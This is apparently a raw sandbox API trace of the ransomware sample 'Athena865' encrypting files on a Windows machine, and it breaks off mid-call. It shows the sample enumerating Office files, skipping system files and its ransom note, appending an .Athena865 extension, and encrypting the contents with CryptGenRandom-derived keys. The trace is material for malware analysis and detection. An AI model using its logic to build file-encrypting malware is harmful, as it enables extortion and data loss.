lstrlenW (lpString="INFINTL.DLL") returned 11 [0141.243] lstrlenW (lpString="Athena865") returned 9 [0141.243] lstrcmpiW (lpString1="FINTL.DLL", lpString2="Athena865") returned 1 [0141.243] lstrlenW (lpString=".dll") returned 4 [0141.243] lstrcmpiW (lpString1="INFINTL.DLL", lpString2=".dll") returned 1 [0141.244] lstrlenW (lpString=".lnk") returned 4 [0141.244] lstrcmpiW (lpString1="INFINTL.DLL", lpString2=".lnk") returned 1 [0141.244] lstrlenW (lpString=".ini") returned 4 [0141.244] lstrcmpiW (lpString1="INFINTL.DLL", lpString2=".ini") returned 1 [0141.244] lstrlenW (lpString=".sys") returned 4 [0141.244] lstrcmpiW (lpString1="INFINTL.DLL", lpString2=".sys") returned 1 [0141.244] lstrlenW (lpString="INFINTL.DLL") returned 11 [0141.244] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFINTL.DLL.Athena865") returned 69 [0141.244] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infintl.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFINTL.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infintl.dll.athena865"), dwFlags=0x1) returned 1 [0141.246] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFINTL.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infintl.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0141.246] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=481168) returned 1 [0141.246] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0141.246] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0141.246] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0141.247] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0141.247] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0141.247] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0141.247] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x75a90, lpName=0x0) returned 0x17c [0141.249] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x75a90) returned 0x2bb0000 [0141.270] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0141.271] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0141.271] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0141.271] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0141.271] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0141.271] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0141.271] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0141.271] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0141.271] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0141.271] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0141.272] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0141.272] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0141.272] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0141.272] UnmapViewOfFile (lpBaseAddress=0x2bb0000) returned 1 [0141.276] CloseHandle (hObject=0x17c) returned 1 [0141.276] CloseHandle (hObject=0x154) returned 1 [0141.276] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0141.276] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0141.276] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0141.278] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98679500, ftCreationTime.dwHighDateTime=0x1ca8073, ftLastAccessTime.dwLowDateTime=0x11257870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x98679500, ftLastWriteTime.dwHighDateTime=0x1ca8073, nFileSizeHigh=0x0, nFileSizeLow=0x174d06, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="INFOPATH.HXS", cAlternateFileName="")) returned 1 [0141.278] lstrcmpiW (lpString1="INFOPATH.HXS", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0141.278] lstrcmpiW (lpString1="INFOPATH.HXS", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0141.278] lstrcmpiW (lpString1="INFOPATH.HXS", lpString2=".") returned 1 [0141.278] lstrcmpiW (lpString1="INFOPATH.HXS", lpString2="..") returned 1 [0141.278] lstrcmpiW (lpString1="INFOPATH.HXS", lpString2="windows") returned -1 [0141.278] lstrcmpiW (lpString1="INFOPATH.HXS", lpString2="bootmgr") returned 1 [0141.278] lstrcmpiW (lpString1="INFOPATH.HXS", lpString2="temp") returned -1 [0141.278] lstrcmpiW (lpString1="INFOPATH.HXS", lpString2="pagefile.sys") returned -1 [0141.278] lstrcmpiW (lpString1="INFOPATH.HXS", lpString2="boot") returned 1 [0141.278] lstrcmpiW (lpString1="INFOPATH.HXS", lpString2="ids.txt") returned 1 [0141.278] lstrcmpiW (lpString1="INFOPATH.HXS", lpString2="ntuser.dat") returned -1 [0141.278] lstrcmpiW (lpString1="INFOPATH.HXS", lpString2="perflogs") returned -1 [0141.278] lstrcmpiW (lpString1="INFOPATH.HXS", lpString2="MSBuild") returned -1 [0141.279] lstrlenW (lpString="INFOPATH.HXS") returned 12 [0141.279] lstrcpyW (in: lpString1=0x241e8a8, lpString2="INFOPATH.HXS" | out: lpString1="INFOPATH.HXS") returned="INFOPATH.HXS" [0141.279] lstrlenW (lpString="INFOPATH.HXS") returned 12 [0141.279] lstrlenW (lpString="Athena865") returned 9 [0141.279] lstrcmpiW (lpString1="OPATH.HXS", lpString2="Athena865") returned 1 [0141.279] lstrlenW (lpString=".dll") returned 4 [0141.279] lstrcmpiW (lpString1="INFOPATH.HXS", lpString2=".dll") returned 1 [0141.279] lstrlenW (lpString=".lnk") returned 4 [0141.279] lstrcmpiW (lpString1="INFOPATH.HXS", lpString2=".lnk") returned 1 [0141.279] lstrlenW (lpString=".ini") returned 4 [0141.279] lstrcmpiW (lpString1="INFOPATH.HXS", lpString2=".ini") returned 1 [0141.279] lstrlenW (lpString=".sys") returned 4 [0141.279] lstrcmpiW (lpString1="INFOPATH.HXS", lpString2=".sys") returned 1 [0141.279] lstrlenW (lpString="INFOPATH.HXS") returned 12 [0141.279] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH.HXS.Athena865") returned 70 [0141.279] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH.HXS.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath.hxs.athena865"), dwFlags=0x1) returned 1 [0141.281] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH.HXS.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath.hxs.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0141.281] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1527046) returned 1 [0141.281] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0141.281] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0141.281] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0141.281] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0141.282] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0141.282] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0141.282] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x175010, lpName=0x0) returned 0x17c [0141.284] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x175010) returned 0x2bb0000 [0141.333] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0141.333] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0141.333] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0141.333] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0141.333] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0141.333] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0141.334] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0141.334] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0141.334] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0141.334] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0141.334] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0141.334] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0141.334] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0141.334] UnmapViewOfFile (lpBaseAddress=0x2bb0000) returned 1 [0141.346] CloseHandle (hObject=0x17c) returned 1 [0141.347] CloseHandle (hObject=0x154) returned 1 [0141.347] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0141.347] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0141.347] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0141.353] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98679500, ftCreationTime.dwHighDateTime=0x1ca8073, ftLastAccessTime.dwLowDateTime=0x11257870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x98679500, ftLastWriteTime.dwHighDateTime=0x1ca8073, nFileSizeHigh=0x0, nFileSizeLow=0x697e2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="INFOPATHEDITOR.HXS", cAlternateFileName="INFOPA~1.HXS")) returned 1 [0141.353] lstrcmpiW (lpString1="INFOPATHEDITOR.HXS", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0141.353] lstrcmpiW (lpString1="INFOPATHEDITOR.HXS", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0141.353] lstrcmpiW (lpString1="INFOPATHEDITOR.HXS", lpString2=".") returned 1 [0141.353] lstrcmpiW (lpString1="INFOPATHEDITOR.HXS", lpString2="..") returned 1 [0141.353] lstrcmpiW (lpString1="INFOPATHEDITOR.HXS", lpString2="windows") returned -1 [0141.353] lstrcmpiW (lpString1="INFOPATHEDITOR.HXS", lpString2="bootmgr") returned 1 [0141.353] lstrcmpiW (lpString1="INFOPATHEDITOR.HXS", lpString2="temp") returned -1 [0141.353] lstrcmpiW (lpString1="INFOPATHEDITOR.HXS", lpString2="pagefile.sys") returned -1 [0141.353] lstrcmpiW (lpString1="INFOPATHEDITOR.HXS", lpString2="boot") returned 1 [0141.353] lstrcmpiW (lpString1="INFOPATHEDITOR.HXS", lpString2="ids.txt") returned 1 [0141.353] lstrcmpiW (lpString1="INFOPATHEDITOR.HXS", lpString2="ntuser.dat") returned -1 [0141.353] lstrcmpiW (lpString1="INFOPATHEDITOR.HXS", lpString2="perflogs") returned -1 [0141.353] lstrcmpiW (lpString1="INFOPATHEDITOR.HXS", lpString2="MSBuild") returned -1 [0141.353] lstrlenW (lpString="INFOPATHEDITOR.HXS") returned 18 [0141.353] lstrcpyW (in: lpString1=0x241e8a8, lpString2="INFOPATHEDITOR.HXS" | out: lpString1="INFOPATHEDITOR.HXS") returned="INFOPATHEDITOR.HXS" [0141.359] lstrlenW (lpString="INFOPATHEDITOR.HXS") returned 18 [0141.359] lstrlenW (lpString="Athena865") returned 9 [0141.359] lstrcmpiW (lpString1="DITOR.HXS", lpString2="Athena865") returned 1 [0141.359] lstrlenW (lpString=".dll") returned 4 [0141.359] lstrcmpiW (lpString1="INFOPATHEDITOR.HXS", lpString2=".dll") returned 1 [0141.359] lstrlenW (lpString=".lnk") returned 4 [0141.359] lstrcmpiW (lpString1="INFOPATHEDITOR.HXS", lpString2=".lnk") returned 1 [0141.359] lstrlenW (lpString=".ini") returned 4 [0141.359] lstrcmpiW (lpString1="INFOPATHEDITOR.HXS", lpString2=".ini") returned 1 [0141.359] lstrlenW (lpString=".sys") returned 4 [0141.359] lstrcmpiW (lpString1="INFOPATHEDITOR.HXS", lpString2=".sys") returned 1 [0141.359] lstrlenW (lpString="INFOPATHEDITOR.HXS") returned 18 [0141.359] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR.HXS.Athena865") returned 76 [0141.359] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR.HXS.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor.hxs.athena865"), dwFlags=0x1) returned 1 [0141.361] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR.HXS.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor.hxs.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0141.362] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=432098) returned 1 [0141.362] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0141.362] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0141.362] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0141.362] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0141.363] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0141.363] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0141.363] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x69af0, lpName=0x0) returned 0x17c [0141.365] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x69af0) returned 0x2bb0000 [0141.382] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0141.383] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0141.383] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0141.383] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0141.383] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0141.383] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0141.383] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0141.383] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0141.383] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0141.383] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0141.384] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0141.384] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0141.384] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0141.384] UnmapViewOfFile (lpBaseAddress=0x2bb0000) returned 1 [0141.388] CloseHandle (hObject=0x17c) returned 1 [0141.388] CloseHandle (hObject=0x154) returned 1 [0141.388] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0141.388] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0141.388] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0141.390] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c67200, ftCreationTime.dwHighDateTime=0x1c9ff32, ftLastAccessTime.dwLowDateTime=0x1127d9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c67200, ftLastWriteTime.dwHighDateTime=0x1c9ff32, nFileSizeHigh=0x0, nFileSizeLow=0x29a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="INFOPATHEDITOR_COL.HXC", cAlternateFileName="INFOPA~2.HXC")) returned 1 [0141.390] lstrcmpiW (lpString1="INFOPATHEDITOR_COL.HXC", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0141.390] lstrcmpiW (lpString1="INFOPATHEDITOR_COL.HXC", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0141.390] lstrcmpiW (lpString1="INFOPATHEDITOR_COL.HXC", lpString2=".") returned 1 [0141.390] lstrcmpiW (lpString1="INFOPATHEDITOR_COL.HXC", lpString2="..") returned 1 [0141.390] lstrcmpiW (lpString1="INFOPATHEDITOR_COL.HXC", lpString2="windows") returned -1 [0141.390] lstrcmpiW (lpString1="INFOPATHEDITOR_COL.HXC", lpString2="bootmgr") returned 1 [0141.390] lstrcmpiW (lpString1="INFOPATHEDITOR_COL.HXC", lpString2="temp") returned -1 [0141.390] lstrcmpiW (lpString1="INFOPATHEDITOR_COL.HXC", lpString2="pagefile.sys") returned -1 [0141.390] lstrcmpiW (lpString1="INFOPATHEDITOR_COL.HXC", lpString2="boot") returned 1 [0141.390] lstrcmpiW (lpString1="INFOPATHEDITOR_COL.HXC", lpString2="ids.txt") returned 1 [0141.390] lstrcmpiW (lpString1="INFOPATHEDITOR_COL.HXC", lpString2="ntuser.dat") returned -1 [0141.390] lstrcmpiW (lpString1="INFOPATHEDITOR_COL.HXC", lpString2="perflogs") returned -1 [0141.390] lstrcmpiW (lpString1="INFOPATHEDITOR_COL.HXC", lpString2="MSBuild") returned -1 [0141.390] lstrlenW (lpString="INFOPATHEDITOR_COL.HXC") returned 22 [0141.390] lstrcpyW (in: lpString1=0x241e8a8, lpString2="INFOPATHEDITOR_COL.HXC" | out: lpString1="INFOPATHEDITOR_COL.HXC") returned="INFOPATHEDITOR_COL.HXC" [0141.390] lstrlenW (lpString="INFOPATHEDITOR_COL.HXC") returned 22 [0141.390] lstrlenW (lpString="Athena865") returned 9 [0141.390] lstrcmpiW (lpString1="R_COL.HXC", lpString2="Athena865") returned 1 [0141.390] lstrlenW (lpString=".dll") returned 4 [0141.390] lstrcmpiW (lpString1="INFOPATHEDITOR_COL.HXC", lpString2=".dll") returned 1 [0141.390] lstrlenW (lpString=".lnk") returned 4 [0141.391] lstrcmpiW (lpString1="INFOPATHEDITOR_COL.HXC", lpString2=".lnk") returned 1 [0141.391] lstrlenW (lpString=".ini") returned 4 [0141.391] lstrcmpiW (lpString1="INFOPATHEDITOR_COL.HXC", lpString2=".ini") returned 1 [0141.391] lstrlenW (lpString=".sys") returned 4 [0141.391] lstrcmpiW (lpString1="INFOPATHEDITOR_COL.HXC", lpString2=".sys") returned 1 [0141.391] lstrlenW (lpString="INFOPATHEDITOR_COL.HXC") returned 22 [0141.391] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXC.Athena865") returned 80 [0141.391] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor_col.hxc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXC.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor_col.hxc.athena865"), dwFlags=0x1) returned 1 [0141.393] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXC.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor_col.hxc.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0141.393] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=666) returned 1 [0141.393] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0141.393] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0141.393] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0141.393] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0141.394] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0141.394] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0141.394] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5a0, lpName=0x0) returned 0x17c [0141.395] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5a0) returned 0x100000 [0141.396] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0141.397] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0141.397] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0141.397] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0141.397] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0141.397] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0141.397] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0141.397] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0141.397] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0141.397] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0141.398] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0141.398] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0141.398] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0141.398] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0141.398] CloseHandle (hObject=0x17c) returned 1 [0141.398] CloseHandle (hObject=0x154) returned 1 [0141.398] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0141.398] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0141.398] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0141.398] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcc29600, ftCreationTime.dwHighDateTime=0x1c59321, ftLastAccessTime.dwLowDateTime=0x1127d9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbcc29600, ftLastWriteTime.dwHighDateTime=0x1c59321, nFileSizeHigh=0x0, nFileSizeLow=0xd6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="INFOPATHEDITOR_COL.HXT", cAlternateFileName="INFOPA~2.HXT")) returned 1 [0141.398] lstrcmpiW (lpString1="INFOPATHEDITOR_COL.HXT", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0141.398] lstrcmpiW (lpString1="INFOPATHEDITOR_COL.HXT", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0141.398] lstrcmpiW (lpString1="INFOPATHEDITOR_COL.HXT", lpString2=".") returned 1 [0141.398] lstrcmpiW (lpString1="INFOPATHEDITOR_COL.HXT", lpString2="..") returned 1 [0141.398] lstrcmpiW (lpString1="INFOPATHEDITOR_COL.HXT", lpString2="windows") returned -1 [0141.398] lstrcmpiW 